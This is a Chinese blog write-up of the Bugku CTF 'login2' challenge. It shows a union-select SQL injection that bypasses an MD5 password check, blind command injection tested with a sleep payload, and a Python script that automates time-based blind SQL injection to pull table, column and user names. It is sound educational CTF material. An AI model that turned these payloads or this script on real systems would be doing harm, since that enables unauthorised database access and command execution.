Fork me on GitHub

Bugku-CTF之login2(SKCTF)(hint:union,命令执行)

Day40 

 

login2(SKCTF)

 

 

http://123.206.31.85:49165/
SKCTF{xxxxxxxxxxxxxxxxxxxxx}
hint:union,命令执行
 
 
本题要点:union绕过、命令执行、脚本编写、base64编码
 
 
打开页面如下:
 
 
用bp尝试抓包,打开代理
 
 
 
 
接着发送到repeater,go一下
 
看到一串base64密文
解密一下~
 
$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password))
{
}
 
 
一段源码,分析一下:
想要登录成功,可以 通过输入不存在用户,用union select 构造出指定密码的md5值。
 
构造payload
 
 
成功绕过
进入这样的页面~   进程监控系统:
 
 
 
 
这里就没有任何提示信息了emmmm.......
只好随便乱输实验了.........
 
1.输入123
2.输入ls
 
 
 
3.输入123&&4
 
发现除了进程信息之外其他的都没有回显,不知道是不是有过滤。
又更换命令的分解符号为|,&,&&均没有反应......
 
有可能是命令被过滤了,也有可能是命令执行了,输出过滤了....
 
基于盲注原理测试123;sleep 10发现返回延迟将近10秒,看来是输出过滤,命令可以执行~
如果其他的shell命令没有被过滤,那么此处就相当于getshell,可以执行更多操作;
 
 
本人菜鸡,只好借鉴大佬的脚本~
 
import requests
url = 'http://123.206.31.85:49165/login.php'
#allString = '''1234567890~`!@#$%^&*()-_=+[]{};:'"|\,<.>/?qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'''
allString = '''1234567890-_,qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'''
database = ''
flag = 1
#\'union select (if(length(database()!=0),sleep(10),1)),'202cb962ac59075b964b07152d234b70'   盲注数据库,此处替换函数可以注其他你想要的信息
#\'union select (select case when (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from %d for 1))=%d) then sleep(6) else 0 end),\'202cb962ac59075b964b07152d234b70\'#盲注表
#\'union select (select case when (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=\'admin\') from %d for 1))=%d) then sleep(6) else 0 end),\'202cb962ac59075b964b07152d234b70\'#盲注项
#\'union select (select case when (ascii(substr((select username from admin ) from %d for 1))=%d) then sleep(4) else 0 end),\'202cb962ac59075b964b07152d234b70\'#盲注内容但是里面啥都没有
for i in range(1,100):
    for j in allString:
        #header = {
            #"X-Forwarded-For":"1'+(select case when (ascii(substr(database() from %d for 1))=%d) then sleep(3) else 0 end))#"%(i,ord(j))
            #}
        data={
        'username':"dminhhjhj\'union select (select case when (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from %d for 1))=%d) then sleep(4) else 0 end),\'202cb962ac59075b964b07152d234b70\'#"%(i,ord(j)),#替换#以前的内容就可以
        'password':'123'
        }
        r = requests.post(url,data=data)
        t = r.elapsed.total_seconds()
        print(database+'     '+'the time of '+j+' is '+str(t))
        if t >= 4:
            database = database + j
            print('the '+str(i)+' place of database is '+j)
            break
        elif t < 4 and j == 'M':
            flag = 0
            break
    if flag == 0 :
        break
print('database:',database)

 

 
 
 根据扫完结果,直接访问.txt,得到flag:
 
 
 
完成!
 
 
 
 
参考资料:
https://blog.csdn.net/zazazrt/article/details/87655154
 
 
 
 
 
posted @ 2019-07-11 23:33  0yst3r  阅读(3738)  评论(0编辑  收藏  举报
返回顶部